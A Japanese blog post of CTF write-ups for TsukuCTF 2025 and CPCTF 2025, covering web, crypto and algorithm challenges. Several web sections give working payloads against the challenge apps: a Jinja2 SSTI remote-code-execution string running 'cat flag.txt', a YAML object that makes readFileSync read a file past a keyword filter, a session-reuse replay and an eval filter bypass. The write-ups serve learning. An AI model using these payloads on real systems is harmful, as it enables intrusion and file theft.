はまやんはまやんはまやん

hamayanhamayan's blog

TsukuCTF 2025 Writeup

[web] len_len

"length".length is 6 ?

ソースコード有り。メインの部分は以下。

function chall(str = "[1, 2, 3]") {
  const sanitized = str.replaceAll(" ", "");
  if (sanitized.length < 10) {
    return `error: no flag for you. sanitized string is ${sanitized}, length is ${sanitized.length.toString()}`;
  }
  const array = JSON.parse(sanitized);
  if (array.length < 0) {
    // hmm...??
    return FLAG;
  }
  return `error: no flag for you. array length is too long -> ${array.length}`;
}

app.post("/", (req, res) => {
  const array = req.body.array;
  res.send(chall(array));
});

10文字以上のjsonを送って、それをパースしたものがarray.length < 0を満たせばフラグがもらえる。サンプルは

How to use -> curl -X POST -d 'array=[1,2,3,4]' http://localhost:28888

のように配列を渡す形だが、これを辞書形式に変えて送る。このとき、lengthを指定すればそれを使ってくれる。よって、

curl -X POST -d 'array={"length":-1337}' http://localhost:28888

とするとフラグ。

[web] flash

3, 2, 1, pop!

ソースコード有り。ゴールは実際にサイトを動かすと分かりやすい。フラッシュ暗算で10個の数が表示されるのでその総和を求めればフラグが手に入る。だが、最初と最後のそれぞれ3つずつ以外は見えなくなっているため、普通に総和を取って計算することはできないのでどうするかという問題。

答えを提出してフラグを得るエンドポイントは以下のような感じ。

@app.route('/result', methods=['GET', 'POST'])
def result():
    if request.method == 'GET':
        if not session.get('session_id') or session.get('round', 0) < TOTAL_ROUNDS:
            return redirect(url_for('flash'))
        token = secrets.token_hex(16)
        session['result_token'] = token
        used_tokens.add(token)
        return render_template('result.html', token=token)

    form_token = request.form.get('token', '')
    if ('result_token' not in session or form_token != session['result_token']
            or form_token not in used_tokens):
        return redirect(url_for('index'))
    used_tokens.remove(form_token)

    ans_str = request.form.get('answer', '').strip()
    if not ans_str.isdigit():
        return redirect(url_for('index'))
    ans = int(ans_str)

    session_id = session.get('session_id')
    correct_sum = 0
    for round_index in range(TOTAL_ROUNDS):
        digits = generate_round_digits(SEED, session_id, round_index)
        number = int(''.join(map(str, digits)))
        correct_sum += number

    session.clear()
    resp = make_response(
        render_template('result.html', submitted=ans, correct=correct_sum,
                        success=(ans == correct_sum), FLAG=FLAG if ans == correct_sum else None)
    )
    cookie_name = app.config.get('SESSION_COOKIE_NAME', 'session')
    resp.set_cookie(cookie_name, '', expires=0)
    return resp

SEEDとsession_idとround_indexを入れてgenerate_round_digits関数で作られる数を10ラウンド分作り、その総和を当てるとフラグが得られる。

セッションの再利用

前半部分の処理について考えてみよう。

if request.method == 'GET':
    if not session.get('session_id') or session.get('round', 0) < TOTAL_ROUNDS:
        return redirect(url_for('flash'))
    token = secrets.token_hex(16)
    session['result_token'] = token
    used_tokens.add(token)
    return render_template('result.html', token=token)

form_token = request.form.get('token', '')
if ('result_token' not in session or form_token != session['result_token']
        or form_token not in used_tokens):
    return redirect(url_for('index'))
used_tokens.remove(form_token)

まず、GETでアクセスしたときに、result_tokenを発行し、それをPOSTで答えを送ったときに確認して消すということをしている。この処理があるので、答えを再送しても2回目は弾かれるという実装になっている。なぜ、2回目をはじいているかというと、(恐らくだが)以下の部分にあるように回答後は答えを出力しているためである。

resp = make_response(
    render_template('result.html', submitted=ans, correct=correct_sum,
                    success=(ans == correct_sum), FLAG=FLAG if ans == correct_sum else None)
)

だが、実装をよく見ると、session自体が無効化されている訳ではないのでGETでresult_tokenを再度作成することで、セッションを再利用することができる。よって、以下の流れで正しい答えを提出することができる。Burp Suiteなどでリクエストを保存しながらやる。

  1. 普通にフラッシュ暗算をスタートする
  2. 最終的にGET /resultが開かれる
  3. 適当な答えをPOST /resultで提出する
  4. 回答に正解が出力されるので、それをコピーしておく -> 65134908
  5. 手順2のGET /resultの記録しておいたリクエストを再送する
  6. すると、Set-Cookieでsessionが、Bodyでresult_tokenが再度発行される
  7. 手順4のPOST /resultCookieのsessionとBodyのtokenとanswerを手順4と手順6のものに入れ替えて送るとフラグが得られる

[web] YAMLwaf

YAML is awesome!!

ソースコード有り。サーバー部分は簡潔。./flag.txtが取得できればフラグ獲得。

app.post('/', (req, res) => {
  try {
    if (req.body.includes('flag')) {
      return res.status(403).send('Not allowed!');
    }
    if (req.body.includes('\\') || req.body.includes('/')
      || req.body.includes('!!') || req.body.includes('<')) {
      return res.status(403).send('Hello, Hacker :)');
    }
    const data = yaml.load(req.body);
    const filePath = data.file;

    if (filePath && fs.existsSync(filePath)) {
      const content = fs.readFileSync(filePath, 'utf8');
      return res.send(content);
    } else {
      return res.status(404).send('File not found');
    }
  } catch (err) {
    return res.status(400).send('Invalid request');
  }
});

flagという文字列と\/!<が使えない状態でfile: flag.txtのように読み込めるものを探せという問題。

脈絡はないのだが、手元の資料にメモってあったreadFileSyncに辞書を入れることでファイルを読み込むテクを利用した。corCTF 2022 writeup - st98 の日記帳 - コピーにあるように

> fs.readFileSync({ href: 'a', origin: 'b', protocol: 'file:', pathname: '/etc/p%61sswd', hostname: ''})
<Buffer 72 6f 6f 74 3a 78 3a 30 3a 30 3a 72 6f 6f 74 3a 2f 72 6f 6f 74 3a 2f 62 69 6e 2f 62 61 73 68 0a 64 61 65 6d 6f 6e 3a 78 3a 31 3a 31 3a 64 61 65 6d 6f ... 911 more bytes>

のような辞書を入れてやることでファイル読み込みができる。これを試してみる。YAMLだとパーセントエンコーディングは使えないが、このやり方であれば途中でパーセントエンコーディングを解除してくれるのでflag.txtを%66%6c%61%67%2e%74%78%74のようにして送り込んでも問題ない。よって、以下のようなHTTPリクエストを送るとフラグが手に入る。

POST / HTTP/1.1
Host: localhost:50001
Content-Type: text/plain
Content-Length: 106

file:
  href: a
  origin: b
  protocol: 'file:'
  pathname: '%66%6c%61%67%2e%74%78%74'
  hostname: ''

[crypto] PQC0

PQC(ポスト量子暗号)を使ってみました!

ソースコード prob.py とoutput.txtが与えられる。ソースコードは以下。

# REQUIRED: OpenSSL 3.5.0

import os
from Crypto.Cipher import AES
from Crypto.Util.Padding import pad
from flag import flag

# generate private key
os.system("openssl genpkey -algorithm ML-KEM-768 -out priv-ml-kem-768.pem")
# generate public key
os.system("openssl pkey -in priv-ml-kem-768.pem -pubout -out pub-ml-kem-768.pem")
# generate shared secret
os.system("openssl pkeyutl -encap -inkey pub-ml-kem-768.pem -secret shared.dat -out ciphertext.dat")

with open("priv-ml-kem-768.pem", "rb") as f:
    private_key = f.read()

print("==== private_key ====")
print(private_key.decode())

with open("ciphertext.dat", "rb") as f:
    ciphertext = f.read()

print("==== ciphertext(hex) ====")
print(ciphertext.hex())

with open("shared.dat", "rb") as f:
    shared_secret = f.read()

encrypted_flag = AES.new(shared_secret, AES.MODE_ECB).encrypt(pad(flag, 16))

print("==== encrypted_flag(hex) ====")
print(encrypted_flag.hex())

Shared Secretを作って、それを使ってAES-ECBでフラグを暗号化している。output.txtはこのスクリプトの出力結果が置かれていて、秘密鍵、暗号化されたShared Secret、暗号化されたフラグが書かれている。秘密鍵が配布されているので、それを使ってShared Secretを復元し、それを使ってフラグを復元する。

方式はML-KEMという格子暗号をベースにした鍵共有アルゴリズムで、対応しているOpenSSL 3.5.0が必要とコメントにあるので、持ってくる必要があるのだがビルドが一生通らず、結局alpineのedgeレポを使うことにした。

FROM alpine:latest

RUN echo "https://dl-cdn.alpinelinux.org/alpine/edge/main" > /etc/apk/repositories && \
    echo "https://dl-cdn.alpinelinux.org/alpine/edge/community" >> /etc/apk/repositories && \
    apk update && \
    apk add --no-cache openssl bash && \
    rm -rf /var/cache/apk/*

CMD ["bash"]

で用意して、docker build . -t test/test --no-cacheしてdocker run -v ${PWD}:/mnt --rm -it test/testすると、OpenSSL 3.5.0 8 Apr 2025 (Library: OpenSSL 3.5.0 8 Apr 2025)が使えるようになる。秘密鍵をpriv-ml-kem-768.pem、暗号化されたShared Secretをciphertext.datとして保存してopenssl pkeyutl -decap -inkey priv-ml-kem-768.pem -in ciphertext.dat -out shared.datすると、shared.datが復元できるので、後は以下のようにすればフラグが得られる。

from Crypto.Cipher import AES

with open("shared.dat", "rb") as f:
    shared_secret = f.read()

encrypted_flag = bytes.fromhex("5f2b9c04a67523dac3e0b0d17f79aa2879f91ad60ba8d822869ece010a7f78f349ab75794ff4cb08819d79c9f44467bd")
flag = AES.new(shared_secret, AES.MODE_ECB).decrypt(encrypted_flag)
print(flag)

[crypto] a8tsukuctf

適当な KEY を作って暗号化したはずが、 tsukuctf の部分が変わらないなぁ...

暗号化に使うソースコードは以下。

import string

plaintext = '[REDACTED]'
key = '[REDACTED]'

#    <plaintext>               <ciphertext>
# ...?? tsukuctf, ??... ->  ...aa tsukuctf, hj...
assert plaintext[30:38] == 'tsukuctf'


# https://ja.wikipedia.org/wiki/%E3%83%B4%E3%82%A3%E3%82%B8%E3%83%A5%E3%83%8D%E3%83%AB%E6%9A%97%E5%8F%B7#%E6%95%B0%E5%BC%8F%E3%81%A7%E3%81%BF%E3%82%8B%E6%9A%97%E5%8F%B7%E5%8C%96%E3%81%A8%E5%BE%A9%E5%8F%B7
def f(p, k):
    p = ord(p) - ord('a')
    k = ord(k) - ord('a')
    ret = (p + k) % 26
    return chr(ord('a') + ret)


def encrypt(plaintext, key):
    assert len(key) <= len(plaintext)

    idx = 0
    ciphertext = []
    cipher_without_symbols = []

    for c in plaintext:
        if c in string.ascii_lowercase:
            if idx < len(key):
                k = key[idx]
            else:
                k = cipher_without_symbols[idx-len(key)]
            cipher_without_symbols.append(f(c, k))
            ciphertext.append(f(c, k))
            idx += 1          
        else:
            ciphertext.append(c)

    ciphertext = ''.join(c for c in ciphertext)

    return ciphertext


ciphertext = encrypt(plaintext=plaintext, key=key)

with open('output.txt', 'w') as f:
    f.write(f'{ciphertext=}\n')

ヴィジュネル暗号っぽいが、鍵の2周期目からは鍵を再利用するのではなく、それ以前の暗号文を鍵として利用している。(これもヴィジュネル暗号?もしくは、良く知られた亜種?わからない)ソースコード中にヒントが書いてある。

#    <plaintext>               <ciphertext>
# ...?? tsukuctf, ??... ->  ...aa tsukuctf, hj...
assert plaintext[30:38] == 'tsukuctf'

問題文にもあったように、途中にtsukuctfというのが平文と暗号文に現れ、変わらないよということがかいてある。暗号文を実際に見てみると以下のような感じ。

ayb wpg uujmz pwom jaaaaaa aa tsukuctf, hj vynj?

平文と暗号文が変化しないということはaを鍵としていることになる。そして上を見ると、tsukuctfの前にaaaaaaaaと同じ個数分8があるので、これが使われたようだ。また、これがあるということは、鍵の1周期は終わっていることにもなり、

aybwpguu
jmzpwomj
aaaaaaaa
tsukuctf

こんな感じで鍵の長さは8と考えて良さそうだ。鍵の2周期以降はその前の暗号文が使われているので鍵が分からなくても2周期以降を復元することができる。復元しよう。

import string

ciphertext="ayb wpg uujmz pwom jaaaaaa aa tsukuctf, hj vynj? mml ogyt re ozbiymvrosf bfq nvjwsum mbmm ef ntq gudwy fxdzyqyc, yeh sfypf usyv nl imy kcxbyl ecxvboap, epa 'avb' wxxw unyfnpzklrq."
KEY_LEN = 8

def ff(p, k): # reverse function of f
    p = ord(p) - ord('a')
    k = ord(k) - ord('a')
    ret = (p - k + 26) % 26
    return chr(ord('a') + ret)

def decrypt_without_1stblock(ciphertext):
    idx = 0
    plaintext = []
    cipher_without_symbols = []

    for c in ciphertext:
        if c in string.ascii_lowercase:
            if idx < KEY_LEN:
                pass
            else:
                plaintext.append(ff(c, cipher_without_symbols[idx - KEY_LEN]))

            cipher_without_symbols.append(c)
            idx += 1
        else:
            plaintext.append(c)

    plaintext = ''.join(c for c in plaintext)

    return plaintext

plaintext = decrypt_without_1stblock(ciphertext)
print(plaintext)

これを実行すると以下。

$ python3 solver.py 
  joy this problem or tsukuctf, or both? the flag is concatenate the seventh word in the first sentence, the third word in the second sentence, and 'fun' with underscores.

最初の8文字が消えていて分からないがDid you enとかそんな所だろうと推測して、word数を推測しながらフラグを作ると正答。TsukuCTF25{tsukuctf_is_fun}

[crypto] xortsukushift 解けず

つくし君とじゃんけんしよう。負けてもチャンスはいっぱいあるよ! フラグフォーマットは TsukuCTF25{} です。ソースコードは以下。

z3やろ!と投げたら計算が停止しないので、終わりました。GF(2)?

[crypto] PQC1 解けず

シードがあれば一発やろ!と思い見てみると、20 bytes分足りず全てが終わりました。解く方向性がそもそも思いつかず、精進不足。

CPCTF 2025 Writeups

[Crypto] Heroic Code

Xubbe qdt jxqda oek veh zeydydw jxu SFSJV! Jxu vbqw yi SFSJV{qbuq_zqsjq_uij}.

暗号化されたメッセージからフラグを見つける問題。ROT暗号というシーザー暗号の一種が使われている。アルファベットを特定の文字数分ずらすことで暗号化されており、これを解読する必要がある。CyberChefのROT13でAmountを適当にポチポチやっていくと10で読める形になる。

https://gchq.github.io/CyberChef/#recipe=ROT13(true,true,false,10)&input=WHViYmUgcWR0IGp4cWRhIG9layB2ZWggemV5ZHlkdyBqeHUgU0ZTSlYhIEp4dSB2YnF3IHlpIFNGU0pWe3FidXFfenFzanFfdWlqfS4

Hello and thank you for joining the CPCTF! The flag is CPCTF{alea_jacta_est}.

「賽は投げられた」

[crypto] Add and multiple

いっぱい足し算して、いっぱいかけ算したら元の文字列の復元は難しくなるはず!

数学的操作を用いた暗号化と復号化の問題。入力された平文を加算と乗算の操作で暗号化し、その結果のみが与えられる。平文を復元するために、暗号化の過程を逆算する必要がある。暗号スクリプトは以下。

plaintext = input()

a = [ord(i) for i in plaintext]
cipher = 0
for i,chr in enumerate(a,1000):
    cipher += chr
    cipher *= i
f = open('cipher.txt', 'w')
f.write(str(cipher))
f.close()

暗号化は数式にすると以下のようになる。

((((0 + a[0]) * 1000) + a[1]) * 1001 + a[2]) * 1002 + ...) * (1000 + n - 1)

これを逆向きに計算しようと思うと、最初に割り算をするときにnが分かっていないといけない。だが分からないので、nは全探索することにしよう。

nが分かっているならば(1000 + n - 1)で割って、次は和を逆算するために(1000 + n - 2)で割った余りを取って、それを引けば逆算ができる。これを繰り返せば良い。

def decrypt(cipher, n):
    plaintext = []
    c = cipher
    
    for _i in range(n):
        i = n - 1 - _i + 1000
        c = c // i
        mod = c % (i - 1)
        plaintext.append(mod)

    plaintext.reverse()
    result = ''.join(chr(c) for c in plaintext)
    return result

cipher = 103200264548574214569124695908951019136986646123214535931636006688814109904122192900997137101

for n in range(1, 50):
    result = decrypt(cipher, n)
    print(n, result)

実行して眺めるとn=30でフラグになった。

30 CPCTF{C14ssic4l_Ciph3r_15_fun}

[Crypto] Anomaly

時には信じて突き進むことも大切!

RSA暗号の変形版で通常のRSAとは異なる実装になっている問題。

from Crypto.Util.number import getPrime, bytes_to_long

flag = "CPCTF{fake_flag}"

p = getPrime(512)
e = getPrime(512)
q = 0x10001
n = p * q
c = pow(bytes_to_long(flag.encode()), e, n)

with open("output.py", "w") as f:
    f.write(f"e = {e}\n")
    f.write(f"n = {n}\n")
    f.write(f"c = {c}\n")

nが素因数分解できるので、素因数分解して、後は普通のRSA

[web] omikuji

あなたの名前を占います! (ちょっぴり厳しめ!)

おみくじシステムが実装されたWebアプリケーション。入力された名前のSHA-256ハッシュ値中の「0」の数で運勢を判定する。「大吉」を得るとフラグが表示されるが、条件を満たす入力が困難なため、アプリケーションの脆弱性を利用する必要がある。

from flask import Flask, request, render_template_string
import hashlib

css = """
<style>
   [redacted]
</style>
"""

app = Flask(__name__)

def get_fortune(name):
    hash_value = hashlib.sha256(name.encode()).hexdigest()
    zero_count = hash_value.count("0")

    if zero_count < 4:
        return "大凶"
    elif zero_count < 8:
        return "凶"
    elif zero_count < 16:
        return "小吉"
    elif zero_count < 32:
        return "中吉"
    elif zero_count < 64:
        return "吉"
    else:
        return "大吉"


@app.route("/")
def index():
    name = request.args.get("name")
    if name is None:
        return f"""
        {css}
        <h1>🔮 名前占い 🔮</h1>
        <form action="/" method="get">
            <label for="name">あなたの名前を入力してください:</label>
            <input type="text" id="name" name="name" required>
            <input type="submit" value="占う">
        </form>
        """

    fortune = get_fortune(name)

    result = f"""
    {css}
    <h1>🔮 名前占い 🔮</h1>
    <div class="result">
        <p>こんにちは、{name}さん。</p>
        <p>あなたの運勢は…… <span class="fortune">{fortune}</span> です!</p>
    """

    if fortune == "大吉":
        with open("flag.txt", "r") as f:
            content = f.read()
            result += f'<div class="flag">フラグは{content}です。</div>'

    result += "</div>"
    return render_template_string(result)


if __name__ == "__main__":
    app.run()

SSTIの脆弱性が存在する。ユーザー入力である name パラメータがエスケープされずに直接テンプレート文字列に挿入され、それが render_template_string 関数に渡される。試しに {{7*7}} を入力すると、結果に 49 として表示される。

こんにちは、49さん。

あなたの運勢は…… 大凶 です!

ちなみにこれは大凶である。SSTIができるので適当に試すとRCEができ、それを使ってflag.txtを読み取る。

{{request.application.__globals__.__builtins__.__import__('os').popen('cat flag.txt').read()}}

[web] string calculator

文字列結合に対応している電卓サイトを作ってみたよ!

JavaScriptのeval関数を使用した文字列計算機アプリケーション。サーバーサイドでユーザー入力を評価するが、特定の文字や関数が制限されている。

app.post("/api/calc", async (c) => {
  const input = await c.req.text();

  try {
    if (input.length > 64) throw new Error("Input too long");
    if (/[()\[\].=]/.test(input)) throw new Error("Invalid characters in input");
    if (/delete|Function|fetch|\+\+|--/.test(input)) throw new Error("Invalid keywords in input");

    const result = eval(`(${input})`);

    return c.json(result);
  } catch (error) {
    c.status(400);
    return c.text(`${error.name}: ${error.message}`);
  }
});

app.get("/api/flag", require("hono/bearer-auth").bearerAuth({ token: btoa(getFlag()) }), (c) => {
  return c.text(getFlag());
});

色々制約がかかっている状態でgetFlag()を呼び出すことができればクリア。JavaScriptのタグ付きテンプレートを使えば良い。

getFlag``

これでgetFlag()を呼べる。

[PPC] Luke or Bishop

チェスの駒の動きを利用した最小手数を求める問題。

ぼんやり考えるとルークを使えば、最悪でも2手で辿りつけることが分かる。よって、答えは0,1,2のどれかである。

Gx==0 && Gy==0の場合は既にゴールしてるので(0,0)

ルークの場合は縦横が一致していれば1手で辿りつけ、ビショップの場合は斜めで一気にいけるならば1手で辿りつける。これを判定すればよい。

int Gx, Gy;
void _main() {
    cin >> Gx >> Gy;
    
    if (Gx == 0 && Gy == 0) {
        cout << "0" << endl;
        return;
    }

    if (abs(Gx) == abs(Gy) || Gx == 0 || Gy == 0) {
        cout << "1" << endl;
        return;
    }

    cout << "2" << endl;
}

[PPC] Like CPCTF?

英大文字からなる文字列からCPCTF的な部分文字列を数える問題。CPCTF的とは「1文字目と3文字目が同じ」「異なる文字は4種類」という性質を持つ長さ5の文字列。

Nの条件が重要でN5が許されるので、5重ループを書いて条件を満たすか判定しよう。任意の5文字を取り出したときに、1文字目と3文字目が一致していることと文字種が4つであることを確認すればよい。

int N; string S;
void _main() {
    cin >> N >> S;

    int ans = 0;
    rep(c1, 0, N) rep(c2, c1 + 1, N) rep(c3, c2 + 1, N) rep(c4, c3 + 1, N) rep(c5, c4 + 1, N) {
        set<char> cset;
        cset.insert(S[c1]); cset.insert(S[c2]); cset.insert(S[c3]); cset.insert(S[c4]); cset.insert(S[c5]);
        if (S[c1] == S[c3] && cset.size() == 4) ans++;
    }
    cout << ans << endl;
}

[PPC] Swap members

整数 K で指定された間隔でのメンバー交換できるという状態で、与えられた初期順列を目標順列に変換できるかを判定する問題。

入れ替えを使ってどこまで行けるか考えてみるN=10, K=3とかだと、雑に考えてみると

1 → 4 → 7 → 10
2 → 5 → 8
3 → 6 → 9

のように+K倍するか-K倍するか移動方法が無いため、それぞれいける所はKで割った時の余りが等しくなる場所になる。よって、SとTを比べた時に移動前と移動後の場所をKで割った余りが一致している必要がある。

全ての移動前後の場所をKで割った余りが一致していれば、必ず目的の整列にできるのかという観点は、(直感的にもあってそうだが)どんな配列でもバブルソートでソートできることを考えると、そうでしょうということで、この方針で答えるとあってた。

int N, K;
map<string,int> S;
map<string,int> T;
string solve() {
    fore(p, S) {
        string s = p.first;
        int pre = p.second;
        int post = T[s];

        if (pre % K != post % K) return "No";
    }
    return "Yes";
}
//---------------------------------------------------------------------------------------------------
void _main() {
    cin >> N >> K;
    rep(i, 0, N) {
        string s;
        cin >> s;
        S[s] = i;
    }
    rep(i, 0, N) {
        string t;
        cin >> t;
        T[t] = i;
    }
    cout << solve() << endl;
}

[PPC] 0→1

0と1からなる文字列を良い文字列に変換する問題。良い文字列とは、任意の連続部分文字列において0の数が1の数以下という条件を満たす文字列のこと。0を1に変更する操作を最小回数で行う必要がある。

良くない文字列から考えてみる。良くない文字列とは、その文字列に含まれる長さ2以上の任意の連続部分文字列Yについて、1の数<0の数の場合である。これを破る最短の部分文字列は 00 なので、とりあえず00があれば良い文字列ではなく、修正が必要になる。

では00を潰せばいいか?と考えるが、010のような場合もダメであることが分かる。

…他にはあるだろうか?00が無くて、また010もない場合は全て「良い文字列」になるだろうか。

反証が思いつかないので、とりあえずこれで貪欲してみる。先頭から消し込んでいく貪欲法をしてみることにする。00が出てきたら01に、010が出てきたら011にする。 (000のケースを実装で忘れてて1WAしたので注意)

int N; string S;
void _main() {
    cin >> N >> S;

    int ans = 0;
    rep(i, 0, N) {
        if (S.substr(i, 2) == "00") {
            ans++;
            S[i + 1] = '1';
        }
        if (S.substr(i, 3) == "010") {
            ans++;
            S[i + 2] = '1';
        }
    }
    cout << ans << endl;
}

submit証明。ACした

[PPC] The farthest point

与えられた無向重み付き木において、最も遠い2頂点間の距離を求めよという問題。

全方位木がまず思い浮かぶ。

dp[cu] := 頂点1を根としたとき、頂点cuと頂点cuの任意の子供を結ぶ単純パスの重みの総和の最大

を作って、re-rootingをしながら、「頂点1を根としたとき」を頂点rootを根としたときに更新しつつ、全ての単純パスについて重みの最大値を求める。

自分の記事を見ながら思い出しつつ書くと通る。久々過ぎて死ぬほど時間かかった… 要求されているのは全方位木の基本的な形なので、自分が下手に解説を書くよりも全方位木の入門記事を当たると良い。

rerootingをするときに遷移先以外のmaxを取る必要があるが、naiveにやるとTLEする(はず)ので、サボらず高速化すること。自分はSparseTableでやった。

int N;
vector<pair<int,ll>> E[201010];

ll dp[201010];
void dfs1(int cu, int pa = -1) {
    dp[cu] = 0;
    fore(p, E[cu]) {
        int to = p.first;
        ll c = p.second;
        if (to == pa) continue;

        dfs1(to, cu);
        chmax(dp[cu], dp[to] + c);
    }
}

ll ans = 0;
void dfs2(int cu, int pa = -1) {
    fore(p, E[cu]) {
        int to = p.first;
        ll c = p.second;
        chmax(ans, dp[to] + c);
    }

    int n = E[cu].size();

    SparseTable<ll> st;
    vector<ll> v(n, -infl);
    rep(i, 0, n) {
        int to = E[cu][i].first;
        ll c = E[cu][i].second;
        v[i] = dp[to] + c;
    }
    st.init(v);

    rep(i, 0, n) {
        int to = E[cu][i].first;
        ll c = E[cu][i].second;
        if (to == pa) continue;

        dp[cu] = max(st.get(0, i), st.get(i + 1, n));

        dfs2(to, cu);
    }
}

void _main() {
    cin >> N;
    rep(i, 0, N - 1) {
        int a, b; ll c;
        cin >> a >> b >> c;
        a--; b--;
        E[a].push_back({b, c});
        E[b].push_back({a, c});
    }

    rep(i, 0, N) dp[i] = -infl;

    dfs1(0);
    dfs2(0);

    cout << ans << endl;
}

[PPC] Decrement or Mod Game

2つの正整数A, Bが与えられ、AliceとBobは整数のペア(a, b) = (A, B)を使ったゲームをする。2人は交互に以下のいずれかの操作を行い、操作ができなくなった人が負けです。

  1. aを1減らす。ただしa > 0の場合のみ可能
  2. aをa mod bにする。ただしb ≤ aの場合のみ可能。

先手はAliceです。2人が最適に行動した場合、どちらが勝つか判定せよという問題。

grundy数感がすごいので実験する。

int grundy[100][100];
#define MAX 20
void labo() {
    rep(sm, 2, MAX) {
        rep(a, 1, sm) {
            int b = sm - a;
            set<int> gr;
            if (0 < a) gr.insert(grundy[b][a - 1]);
            if (b <= a) gr.insert(grundy[b][a % b]);
    
            while (gr.count(grundy[a][b])) grundy[a][b]++;
    
            //printf("g[%d][%d] = %d (%d)\n", a, b, grundy[a][b], a + b);
        }
    }

    rep(a, 1, MAX) {
        rep(b, 1, MAX) {
            if (a + b >= MAX) break;
            printf("g[%d][%d] = %d\n", a, b, grundy[a][b]);
        }
        puts("");
    }
}

すると以下のようになる。

g[1][1] = 1
g[1][2] = 1
g[1][3] = 1
g[1][4] = 1
g[1][5] = 1
g[1][6] = 1
g[1][7] = 1
g[1][8] = 1
g[1][9] = 1
g[1][10] = 1
g[1][11] = 1
g[1][12] = 1
g[1][13] = 1
g[1][14] = 1
g[1][15] = 1
g[1][16] = 1
g[1][17] = 1
g[1][18] = 1

g[2][1] = 2
g[2][2] = 1
g[2][3] = 0
g[2][4] = 0
g[2][5] = 0
g[2][6] = 0
g[2][7] = 0
g[2][8] = 0
g[2][9] = 0
g[2][10] = 0
g[2][11] = 0
g[2][12] = 0
g[2][13] = 0
g[2][14] = 0
g[2][15] = 0
g[2][16] = 0
g[2][17] = 0

g[3][1] = 2
g[3][2] = 0
g[3][3] = 1
g[3][4] = 0
g[3][5] = 0
g[3][6] = 0
g[3][7] = 0
g[3][8] = 0
g[3][9] = 0
g[3][10] = 0
g[3][11] = 0
g[3][12] = 0
g[3][13] = 0
g[3][14] = 0
g[3][15] = 0
g[3][16] = 0

g[4][1] = 2
g[4][2] = 1
g[4][3] = 0
g[4][4] = 1
g[4][5] = 0
g[4][6] = 0
g[4][7] = 0
g[4][8] = 0
g[4][9] = 0
g[4][10] = 0
g[4][11] = 0
g[4][12] = 0
g[4][13] = 0
g[4][14] = 0
g[4][15] = 0

g[5][1] = 2
g[5][2] = 1
g[5][3] = 1
g[5][4] = 0
g[5][5] = 1
g[5][6] = 0
g[5][7] = 0
g[5][8] = 0
g[5][9] = 0
g[5][10] = 0
g[5][11] = 0
g[5][12] = 0
g[5][13] = 0
g[5][14] = 0

g[6][1] = 2
g[6][2] = 1
g[6][3] = 1
g[6][4] = 2
g[6][5] = 0
g[6][6] = 1
g[6][7] = 0
g[6][8] = 0
g[6][9] = 0
g[6][10] = 0
g[6][11] = 0
g[6][12] = 0
g[6][13] = 0

g[7][1] = 2
g[7][2] = 1
g[7][3] = 1
g[7][4] = 1
g[7][5] = 2
g[7][6] = 0
g[7][7] = 1
g[7][8] = 0
g[7][9] = 0
g[7][10] = 0
g[7][11] = 0
g[7][12] = 0

g[8][1] = 2
g[8][2] = 1
g[8][3] = 1
g[8][4] = 1
g[8][5] = 2
g[8][6] = 2
g[8][7] = 0
g[8][8] = 1
g[8][9] = 0
g[8][10] = 0
g[8][11] = 0

g[9][1] = 2
g[9][2] = 1
g[9][3] = 1
g[9][4] = 1
g[9][5] = 1
g[9][6] = 2
g[9][7] = 2
g[9][8] = 0
g[9][9] = 1
g[9][10] = 0

g[10][1] = 2
g[10][2] = 1
g[10][3] = 1
g[10][4] = 2
g[10][5] = 1
g[10][6] = 1
g[10][7] = 2
g[10][8] = 2
g[10][9] = 0

g[11][1] = 2
g[11][2] = 1
g[11][3] = 1
g[11][4] = 1
g[11][5] = 1
g[11][6] = 1
g[11][7] = 2
g[11][8] = 2

g[12][1] = 2
g[12][2] = 1
g[12][3] = 1
g[12][4] = 1
g[12][5] = 2
g[12][6] = 1
g[12][7] = 1

g[13][1] = 2
g[13][2] = 1
g[13][3] = 1
g[13][4] = 1
g[13][5] = 2
g[13][6] = 1

g[14][1] = 2
g[14][2] = 1
g[14][3] = 1
g[14][4] = 2
g[14][5] = 1

g[15][1] = 2
g[15][2] = 1
g[15][3] = 1
g[15][4] = 1

g[16][1] = 2
g[16][2] = 1
g[16][3] = 1

g[17][1] = 2
g[17][2] = 1

g[18][1] = 2

競プロ、伝家の宝刀を使おう。「グッと睨むと」、負け状態0になるのは、「自分<相手」か「自分-1=相手」の状態。自分が1のときと自分が2のときがエッジケースなので若干特殊対応をして、実装すると正答。

ll A, B;
string solve() {
    if (A == 1) return "Alice";
    if (A == 2 && B <= 2) return "Alice";
    if (A < B) return "Bob";
    if (A - 1 == B) return "Bob";
    return "Alice";
}
void _main() {
    // labo();

    cin >> A >> B;
    cout << solve() << endl;
}

[PPC] Toll Optimization

N個の街があり、M本の道で結ばれている。各道には通行料金Ciがかかる。街1から街Nまで移動するとき、K回まで通行料金を無料にできるクーポンを使える。街1から街Nまでの最小コストを求めよ。

(拡張)ダイクストラをやる。

dp[town][coupon] := 町townにいて、クーポンをcoupon枚持っている状態までに必要な支払うべき料金の最小値

これをダイクストラで更新していき、dp[N][any]の最小値が答え。

int N, M, K;
ll C[101010];
vector<pair<int,ll>> E[101010];

int vis[101010][4];
ll D[101010][4];

void _main() {
    cin >> N >> M >> K;
    rep(i, 0, M) cin >> C[i];
    rep(i, 0, M) {
        int a, b;
        cin >> a >> b;
        a--; b--;
        E[a].push_back({ b, C[i] });
        E[b].push_back({ a, C[i] });
    }

    rep(town, 0, N) rep(coupon, 0, K + 1) D[town][coupon] = infl;
    rep(town, 0, N) rep(coupon, 0, K + 1) vis[town][coupon] = 0;
 
    min_priority_queue<pair<ll, pair<int,int>>> que;
 
    D[0][K] = 0;
    que.push({ 0, {0, K} });
 
    while (!que.empty()) {
        auto q = que.top(); que.pop();
 
        ll cst = q.first;
        int town = q.second.first;
        int coupon = q.second.second;
 
        if (vis[town][coupon]) continue;
        vis[town][coupon] = 1;
 
        fore(p, E[town]) {
            ll cst2 = cst + p.second;
            int town2 = p.first;

            // use coupon
            if (coupon > 0) {
                if (chmin(D[town2][coupon - 1], cst)) que.push({ D[town2][coupon - 1], { town2, coupon - 1 } });
            }

            // not use coupon
            if (chmin(D[town2][coupon], cst2)) que.push({ D[town2][coupon], { town2, coupon } });
        }
    }

    ll ans = infl;
    rep(coupon, 0, K + 1) chmin(ans, D[N - 1][coupon]);
    if (ans == infl) ans = -1;
    cout << ans << endl;
}

[PPC] More and more teleporter

テレポーターがどんどん追加されていくので、最小移動コストを求める問題。テレポーターを使うかどうか、使うならどのテレポーターを使うかを選んで、目標地点への最短移動コストを答える。クエリ処理のため、効率的なデータ構造が必要となる。

